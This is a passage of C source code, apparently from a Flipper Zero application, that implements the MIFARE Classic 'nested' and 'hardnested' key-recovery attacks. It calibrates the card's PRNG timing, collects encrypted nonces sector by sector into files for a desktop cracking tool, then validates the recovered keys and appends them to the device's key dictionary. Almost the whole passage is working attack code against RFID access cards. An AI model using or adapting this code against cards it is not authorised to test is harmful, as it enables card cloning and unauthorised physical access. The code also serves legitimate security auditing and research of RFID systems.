  652. info = nonces.nonces[sector][key_type][0];
  653. info->collected = true;
  654. info->skipped = false;
  655. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  656. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  657. nonces.nonces[sector][key_type][0] = info;
  658. nonces.cuid = result.cuid;
  659. nonces.sector_count = sector_count;
  660. mifare_nested_worker->context->nonces = &nonces;
  661. mifare_nested_worker->callback(
  662. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  663. break;
  664. } else {
  665. mifare_nested_worker->callback(
  666. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  667. }
  668. }
  669. }
  670. }
  671. break;
  672. }
  673. SaveNoncesResult_t* result =
  674. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  675. free(mf_data);
  676. if(result->saved) {
  677. mifare_nested_worker->callback(
  678. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  679. } else {
  680. mifare_nested_worker->context->save_state = result;
  681. mifare_nested_worker->callback(
  682. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  683. }
  684. nfc_deactivate();
  685. }
  686. void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
  687. NonceList_t nonces;
  688. Storage* storage = furi_record_open(RECORD_STORAGE);
  689. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  690. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  691. FuriString* folder_path = furi_string_alloc();
  692. FuriHalNfcDevData data = {};
  693. nested_get_data(&data);
  694. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  695. uint64_t key = 0; // Found key for attack
  696. uint32_t found_key_type = 0;
  697. uint32_t key_block = 0;
  698. uint32_t sector_count = 0;
  699. uint32_t cuid = 0;
  700. furi_hal_nfc_activate_nfca(200, &cuid);
  701. FURI_LOG_I(TAG, "Running Hard Nested attack");
  702. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  703. mifare_nested_worker_write_uid_string(&data, tag_info);
  704. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  705. furi_string_free(tag_info);
  706. if(type == MfClassicType4k) {
  707. sector_count = 40;
  708. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  709. } else if(type == MfClassicType1k) {
  710. sector_count = 16;
  711. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  712. } else { // if(type == MfClassicTypeMini)
  713. sector_count = 5;
  714. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  715. }
  716. furi_string_set(folder_path, NESTED_FOLDER);
  717. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  718. mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
  719. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  720. furi_string_free(folder_path);
  721. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  722. !mifare_nested_worker_check_initial_keys(
  723. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  724. mifare_nested_worker->callback(
  725. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  726. nfc_deactivate();
  727. free(mf_data);
  728. free_nonces(&nonces, sector_count, 1);
  729. return;
  730. }
  731. FURI_LOG_I(
  732. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  733. FuriHalNfcTxRxContext tx_rx = {};
  734. nonces.tries = 1;
  735. nonces.hardnested_states = 0;
  736. nonces.sector_count = sector_count;
  737. mifare_nested_worker->context->nonces = &nonces;
  738. mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  739. mifare_nested_worker->callback(
  740. MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
  741. for(uint8_t sector = 0; sector < sector_count &&
  742. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  743. sector++) {
  744. for(uint8_t key_type = 0;
  745. key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
  746. key_type++) {
  747. Nonces* info = nonces.nonces[sector][key_type][0];
  748. if(info->collected) {
  749. FURI_LOG_I(
  750. TAG,
  751. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  752. sector,
  753. mifare_nested_worker_get_block_by_sector(sector),
  754. key_type);
  755. info->skipped = true;
  756. nonces.nonces[sector][key_type][0] = info;
  757. mifare_nested_worker->context->nonces = &nonces;
  758. mifare_nested_worker->callback(
  759. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  760. continue;
  761. }
  762. if(!nested_check_block(
  763. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  764. FURI_LOG_E(
  765. TAG,
  766. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  767. sector,
  768. mifare_nested_worker_get_block_by_sector(sector),
  769. key_type);
  770. info->invalid = true;
  771. nonces.nonces[sector][key_type][0] = info;
  772. mifare_nested_worker->context->nonces = &nonces;
  773. mifare_nested_worker->callback(
  774. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  775. continue;
  776. }
  777. while(!info->collected &&
  778. mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  779. Stream* file_stream = file_stream_alloc(storage);
  780. FuriString* hardnested_file = furi_string_alloc();
  781. mifare_nested_worker_get_hardnested_file_path(
  782. &data, hardnested_file, sector, key_type);
  783. file_stream_open(
  784. file_stream,
  785. furi_string_get_cstr(hardnested_file),
  786. FSAM_READ_WRITE,
  787. FSOM_CREATE_ALWAYS);
  788. FuriString* header = furi_string_alloc_printf(
  789. "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
  790. NESTED_NONCE_FORMAT_VERSION,
  791. NESTED_RECOVER_KEYS_GITHUB_LINK,
  792. !key_type ? 'A' : 'B',
  793. cuid,
  794. sector);
  795. stream_write_string(file_stream, header);
  796. furi_string_free(header);
  797. uint32_t first_byte_sum = 0;
  798. uint32_t* found = malloc(sizeof(uint32_t) * 256);
  799. for(uint32_t i = 0; i < 256; i++) {
  800. found[i] = 0;
  801. }
  802. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  803. struct nonce_info_hard result = nested_hard_nonce_attack(
  804. &tx_rx,
  805. key_block,
  806. found_key_type,
  807. mifare_nested_worker_get_block_by_sector(sector),
  808. key_type,
  809. key,
  810. found,
  811. &first_byte_sum,
  812. file_stream);
  813. if(result.static_encrypted) {
  814. file_stream_close(file_stream);
  815. storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
  816. furi_string_free(hardnested_file);
  817. free(found);
  818. free(mf_data);
  819. nfc_deactivate();
  820. mifare_nested_worker->callback(
  821. MifareNestedWorkerEventStaticEncryptedNonce,
  822. mifare_nested_worker->context);
  823. return;
  824. }
  825. if(result.full) {
  826. uint32_t states = 0;
  827. for(uint32_t i = 0; i < 256; i++) {
  828. states += found[i];
  829. }
  830. nonces.hardnested_states = states;
  831. mifare_nested_worker->callback(
  832. MifareNestedWorkerEventHardnestedStatesFound,
  833. mifare_nested_worker->context);
  834. FURI_LOG_D(TAG, "Found states: %lu", states);
  835. if(states == 256) {
  836. FURI_LOG_D(
  837. TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
  838. bool valid = false;
  839. for(uint8_t i = 0; i < sizeof(sums); i++) {
  840. if(sums[i] == first_byte_sum) {
  841. valid = true;
  842. break;
  843. }
  844. }
  845. if(!valid) {
  846. FURI_LOG_E(TAG, "Invalid first_byte_sum!");
  847. break;
  848. }
  849. info->collected = true;
  850. info->hardnested = true;
  851. info->skipped = false;
  852. nonces.cuid = result.cuid;
  853. nonces.nonces[sector][key_type][0] = info;
  854. mifare_nested_worker->context->nonces = &nonces;
  855. mifare_nested_worker->callback(
  856. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  857. break;
  858. }
  859. } else {
  860. mifare_nested_worker->callback(
  861. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  862. }
  863. }
  864. free(found);
  865. furi_string_free(hardnested_file);
  866. file_stream_close(file_stream);
  867. }
  868. }
  869. }
  870. SaveNoncesResult_t* result =
  871. mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
  872. free(mf_data);
  873. if(result->saved) {
  874. mifare_nested_worker->callback(
  875. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  876. } else {
  877. mifare_nested_worker->context->save_state = result;
  878. mifare_nested_worker->callback(
  879. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  880. }
  881. nfc_deactivate();
  882. }
  883. void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
  884. NonceList_t nonces;
  885. Storage* storage = furi_record_open(RECORD_STORAGE);
  886. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  887. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  888. FuriString* folder_path = furi_string_alloc();
  889. FuriHalNfcDevData data = {};
  890. nested_get_data(&data);
  891. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  892. uint64_t key = 0; // Found key for attack
  893. uint32_t found_key_type = 0;
  894. uint32_t key_block = 0;
  895. uint32_t sector_count = 0;
  896. uint32_t delay = 0;
  897. uint32_t distance = 0;
  898. uint32_t tries_count = 1;
  899. FURI_LOG_I(TAG, "Running Nested attack");
  900. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  901. mifare_nested_worker_write_uid_string(&data, tag_info);
  902. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  903. furi_string_free(tag_info);
  904. if(type == MfClassicType4k) {
  905. sector_count = 40;
  906. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  907. } else if(type == MfClassicType1k) {
  908. sector_count = 16;
  909. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  910. } else { // if(type == MfClassicTypeMini)
  911. sector_count = 5;
  912. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  913. }
  914. furi_string_set(folder_path, NESTED_FOLDER);
  915. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  916. furi_string_free(folder_path);
  917. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  918. !mifare_nested_worker_check_initial_keys(
  919. &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
  920. mifare_nested_worker->callback(
  921. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  922. nfc_deactivate();
  923. free(mf_data);
  924. free_nonces(&nonces, sector_count, 3);
  925. return;
  926. }
  927. FURI_LOG_I(
  928. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  929. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  930. FuriHalNfcTxRxContext tx_rx = {};
  931. uint32_t first_distance = 0;
  932. uint32_t second_distance = 0;
  933. mifare_nested_worker->callback(
  934. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  935. distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
  936. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  937. first_distance =
  938. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  939. }
  940. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  941. second_distance =
  942. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
  943. }
  944. if(first_distance == 0 && second_distance == 0) {
  945. nfc_deactivate();
  946. free(mf_data);
  947. free_nonces(&nonces, sector_count, 3);
  948. mifare_nested_worker_change_state(
  949. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  950. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  951. return;
  952. }
  953. if(first_distance < second_distance - 100 && second_distance > 100) {
  954. FURI_LOG_E(
  955. TAG,
  956. "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
  957. first_distance,
  958. second_distance);
  959. struct distance_info info =
  960. nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
  961. if(info.max_prng - info.min_prng > 150) {
  962. FURI_LOG_W(
  963. TAG,
  964. "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
  965. info.max_prng,
  966. info.min_prng,
  967. info.max_prng - info.min_prng);
  968. delay = 1;
  969. } else {
  970. FURI_LOG_I(
  971. TAG,
  972. "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
  973. distance =
  974. nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
  975. delay = 2;
  976. tries_count = 3;
  977. }
  978. }
  979. if(distance == 0 || delay == 1) {
  980. bool failed = false;
  981. // Tag need delay or unpredictable PRNG
  982. FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
  983. mifare_nested_worker->callback(
  984. MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
  985. delay = mifare_nested_worker_predict_delay(
  986. &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
  987. if(delay == 1) {
  988. FURI_LOG_E(TAG, "Can't determine delay");
  989. // Check that we didn't lost tag
  990. FuriHalNfcDevData lost_tag_data = {};
  991. nested_get_data(&lost_tag_data);
  992. if(lost_tag_data.uid_len == 0) {
  993. // We lost it.
  994. mifare_nested_worker->callback(
  995. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  996. while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
  997. lost_tag_data.cuid != data.cuid) {
  998. furi_delay_ms(250);
  999. nested_get_data(&lost_tag_data);
  1000. }
  1001. mifare_nested_worker->callback(
  1002. MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
  1003. continue;
  1004. }
  1005. failed = true;
  1006. }
  1007. if(delay == 2) {
  1008. FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
  1009. nfc_deactivate();
  1010. free(mf_data);
  1011. free_nonces(&nonces, sector_count, 3);
  1012. mifare_nested_worker_change_state(
  1013. mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
  1014. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  1015. return;
  1016. }
  1017. if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
  1018. distance = nested_calibrate_distance(
  1019. &tx_rx, key_block, found_key_type, key, delay, false);
  1020. }
  1021. if(distance == 0 && !failed) {
  1022. FURI_LOG_E(TAG, "Found delay, but can't find distance");
  1023. failed = true;
  1024. }
  1025. if(failed) {
  1026. nfc_deactivate();
  1027. mifare_nested_worker->callback(
  1028. MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
  1029. free(mf_data);
  1030. free_nonces(&nonces, sector_count, 3);
  1031. return;
  1032. }
  1033. tries_count = 3;
  1034. }
  1035. mifare_nested_worker->context->nonces = &nonces;
  1036. mifare_nested_worker->callback(
  1037. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1038. for(uint8_t tries = 0; tries < tries_count; tries++) {
  1039. for(uint8_t sector = 0; sector < sector_count; sector++) {
  1040. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  1041. Nonces* info = nonces.nonces[sector][key_type][tries];
  1042. if(info->collected) {
  1043. FURI_LOG_I(
  1044. TAG,
  1045. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  1046. sector,
  1047. mifare_nested_worker_get_block_by_sector(sector),
  1048. key_type);
  1049. info->skipped = true;
  1050. nonces.nonces[sector][key_type][tries] = info;
  1051. mifare_nested_worker->context->nonces = &nonces;
  1052. mifare_nested_worker->callback(
  1053. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1054. continue;
  1055. }
  1056. if(!nested_check_block(
  1057. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  1058. FURI_LOG_E(
  1059. TAG,
  1060. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  1061. sector,
  1062. mifare_nested_worker_get_block_by_sector(sector),
  1063. key_type);
  1064. info->skipped = true;
  1065. nonces.nonces[sector][key_type][0] = info;
  1066. mifare_nested_worker->context->nonces = &nonces;
  1067. mifare_nested_worker->callback(
  1068. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1069. continue;
  1070. }
  1071. while(!info->collected) {
  1072. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  1073. break;
  1074. }
  1075. struct nonce_info result = nested_attack(
  1076. &tx_rx,
  1077. key_block,
  1078. found_key_type,
  1079. mifare_nested_worker_get_block_by_sector(sector),
  1080. key_type,
  1081. key,
  1082. distance,
  1083. delay);
  1084. if(result.full) {
  1085. FURI_LOG_I(
  1086. TAG,
  1087. "Accured nonces for sector %u, block %u, key_type: %u",
  1088. sector,
  1089. mifare_nested_worker_get_block_by_sector(sector),
  1090. key_type);
  1091. info = nonces.nonces[sector][key_type][tries];
  1092. info->collected = true;
  1093. info->skipped = false;
  1094. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  1095. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  1096. memcpy(&info->parity, result.parity, sizeof(result.parity));
  1097. nonces.nonces[sector][key_type][tries] = info;
  1098. nonces.cuid = result.cuid;
  1099. nonces.sector_count = sector_count;
  1100. nonces.tries = tries_count;
  1101. mifare_nested_worker->context->nonces = &nonces;
  1102. mifare_nested_worker->callback(
  1103. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  1104. break;
  1105. } else {
  1106. mifare_nested_worker->callback(
  1107. MifareNestedWorkerEventNoTagDetected,
  1108. mifare_nested_worker->context);
  1109. }
  1110. }
  1111. }
  1112. }
  1113. }
  1114. break;
  1115. }
  1116. SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
  1117. &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
  1118. free(mf_data);
  1119. if(result->saved) {
  1120. mifare_nested_worker->callback(
  1121. MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
  1122. } else {
  1123. mifare_nested_worker->context->save_state = result;
  1124. mifare_nested_worker->callback(
  1125. MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
  1126. }
  1127. nfc_deactivate();
  1128. }
  1129. bool* mifare_nested_worker_check_keys_exists(
  1130. Storage* storage,
  1131. char* path,
  1132. uint64_t* keys,
  1133. uint32_t key_count,
  1134. MifareNestedWorker* mifare_nested_worker) {
  1135. bool* old_keys = malloc(sizeof(bool) * key_count);
  1136. Stream* file_stream = file_stream_alloc(storage);
  1137. file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
  1138. FuriString* key_strings[key_count];
  1139. for(uint32_t i = 0; i < key_count; i++) {
  1140. old_keys[i] = false;
  1141. key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
  1142. }
  1143. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1144. FuriString* next_line = furi_string_alloc();
  1145. if(!stream_read_line(file_stream, next_line)) {
  1146. break;
  1147. }
  1148. for(uint32_t i = 0; i < key_count; i++) {
  1149. if(keys[i] == (uint64_t)-1) continue;
  1150. if(furi_string_cmp(next_line, key_strings[i]) == 0) {
  1151. old_keys[i] = true;
  1152. }
  1153. }
  1154. furi_string_free(next_line);
  1155. }
  1156. for(uint32_t i = 0; i < key_count; i++) {
  1157. furi_string_free(key_strings[i]);
  1158. }
  1159. file_stream_close(file_stream);
  1160. free(file_stream);
  1161. return old_keys;
  1162. }
  1163. void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
  1164. Stream* file_stream = file_stream_alloc(storage);
  1165. file_stream_open(
  1166. file_stream,
  1167. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1168. FSAM_READ_WRITE,
  1169. FSOM_OPEN_APPEND);
  1170. stream_write_string(file_stream, key);
  1171. file_stream_close(file_stream);
  1172. }
  1173. void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
  1174. KeyInfo_t* key_info = mifare_nested_worker->context->keys;
  1175. Storage* storage = furi_record_open(RECORD_STORAGE);
  1176. Stream* file_stream = file_stream_alloc(storage);
  1177. FuriString* next_line = furi_string_alloc();
  1178. FuriString* path = furi_string_alloc();
  1179. FuriHalNfcDevData data = {};
  1180. nested_get_data(&data);
  1181. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  1182. NestedCheckKeyResult result = NestedCheckKeyNoTag;
  1183. FuriHalNfcTxRxContext tx_rx = {};
  1184. uint32_t key_count = 0;
  1185. uint32_t sector_key_count = 0;
  1186. uint64_t keys[80];
  1187. bool found_keys[2][40];
  1188. bool unique_keys[2][40];
  1189. uint32_t sector_count = 0;
  1190. if(type == MfClassicType4k) {
  1191. sector_count = 40;
  1192. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  1193. } else if(type == MfClassicType1k) {
  1194. sector_count = 16;
  1195. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  1196. } else { // if(type == MfClassicTypeMini)
  1197. sector_count = 5;
  1198. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  1199. }
  1200. uint32_t keys_count = sector_count * 2;
  1201. for(uint8_t key = 0; key < 2; key++) {
  1202. for(uint8_t i = 0; i < sector_count; i++) {
  1203. found_keys[key][i] = false;
  1204. unique_keys[key][i] = false;
  1205. }
  1206. }
  1207. for(uint8_t i = 0; i < keys_count; i++) {
  1208. keys[i] = -1;
  1209. }
  1210. mifare_nested_worker_get_found_keys_file_path(&data, path);
  1211. if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1212. FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
  1213. file_stream_close(file_stream);
  1214. mifare_nested_worker_get_nonces_file_path(&data, path);
  1215. if(!file_stream_open(
  1216. file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  1217. mifare_nested_worker->callback(
  1218. MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
  1219. } else {
  1220. mifare_nested_worker->callback(
  1221. MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
  1222. }
  1223. file_stream_close(file_stream);
  1224. free(file_stream);
  1225. furi_string_free(path);
  1226. furi_string_free(next_line);
  1227. furi_record_close(RECORD_STORAGE);
  1228. return;
  1229. };
  1230. while(true) {
  1231. if(!stream_read_line(file_stream, next_line)) {
  1232. break;
  1233. }
  1234. if(furi_string_start_with_str(next_line, "Key")) {
  1235. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1236. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1237. atoi((char[]){furi_string_get_char(next_line, 14)});
  1238. if(!unique_keys[key_type][sector]) {
  1239. unique_keys[key_type][sector] = true;
  1240. sector_key_count++;
  1241. }
  1242. }
  1243. key_count++;
  1244. }
  1245. stream_rewind(file_stream);
  1246. key_info->total_keys = key_count;
  1247. key_info->sector_keys = sector_key_count;
  1248. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1249. if(!stream_read_line(file_stream, next_line)) {
  1250. break;
  1251. }
  1252. if(furi_string_start_with_str(next_line, "Key")) {
  1253. // Key X sector XX: XX XX XX XX XX XX
  1254. // 0000000000111111111122222222223333
  1255. // 0123456789012345678901234567890123
  1256. uint8_t keyChar[6];
  1257. uint8_t count = 0;
  1258. uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
  1259. uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
  1260. atoi((char[]){furi_string_get_char(next_line, 14)});
  1261. for(uint8_t i = 17; i < 33; i += 3) {
  1262. hex_char_to_uint8(
  1263. furi_string_get_char(next_line, i),
  1264. furi_string_get_char(next_line, i + 1),
  1265. &keyChar[count]);
  1266. count++;
  1267. }
  1268. uint64_t key = nfc_util_bytes2num(keyChar, 6);
  1269. key_info->checked_keys++;
  1270. if(found_keys[key_type][sector]) {
  1271. mifare_nested_worker->callback(
  1272. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1273. continue;
  1274. }
  1275. while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  1276. result = nested_check_key(
  1277. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
  1278. if(result == NestedCheckKeyNoTag) {
  1279. mifare_nested_worker->callback(
  1280. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  1281. furi_delay_ms(250);
  1282. } else {
  1283. break;
  1284. }
  1285. }
  1286. if(result == NestedCheckKeyValid) {
  1287. FURI_LOG_I(
  1288. TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
  1289. bool exists = false;
  1290. for(uint8_t i = 0; i < keys_count; i++) {
  1291. if(keys[i] == key) {
  1292. exists = true;
  1293. }
  1294. }
  1295. if(!exists) {
  1296. keys[key_info->found_keys] = key;
  1297. }
  1298. key_info->found_keys++;
  1299. found_keys[key_type][sector] = true;
  1300. }
  1301. mifare_nested_worker->callback(
  1302. MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
  1303. }
  1304. }
  1305. furi_string_free(next_line);
  1306. file_stream_close(file_stream);
  1307. free(file_stream);
  1308. mifare_nested_worker->callback(
  1309. MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
  1310. bool* old_keys = mifare_nested_worker_check_keys_exists(
  1311. storage,
  1312. EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
  1313. keys,
  1314. keys_count,
  1315. mifare_nested_worker);
  1316. for(uint8_t i = 0; i < keys_count; i++) {
  1317. if(old_keys[i]) {
  1318. keys[i] = -1;
  1319. }
  1320. }
  1321. old_keys = mifare_nested_worker_check_keys_exists(
  1322. storage,
  1323. EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
  1324. keys,
  1325. keys_count,
  1326. mifare_nested_worker);
  1327. for(uint8_t i = 0; i < keys_count; i++) {
  1328. if(old_keys[i]) {
  1329. keys[i] = -1;
  1330. }
  1331. }
  1332. for(uint8_t i = 0; i < keys_count; i++) {
  1333. if(keys[i] == (uint64_t)-1) continue;
  1334. FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
  1335. mifare_nested_worker_write_key(storage, key_string);
  1336. FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
  1337. key_info->added_keys++;
  1338. furi_string_free(key_string);
  1339. }
  1340. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  1341. FURI_LOG_E(TAG, "Failed to remove .keys file");
  1342. }
  1343. furi_record_close(RECORD_STORAGE);
  1344. furi_string_free(path);
  1345. mifare_nested_worker->callback(
  1346. MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
  1347. return;
  1348. }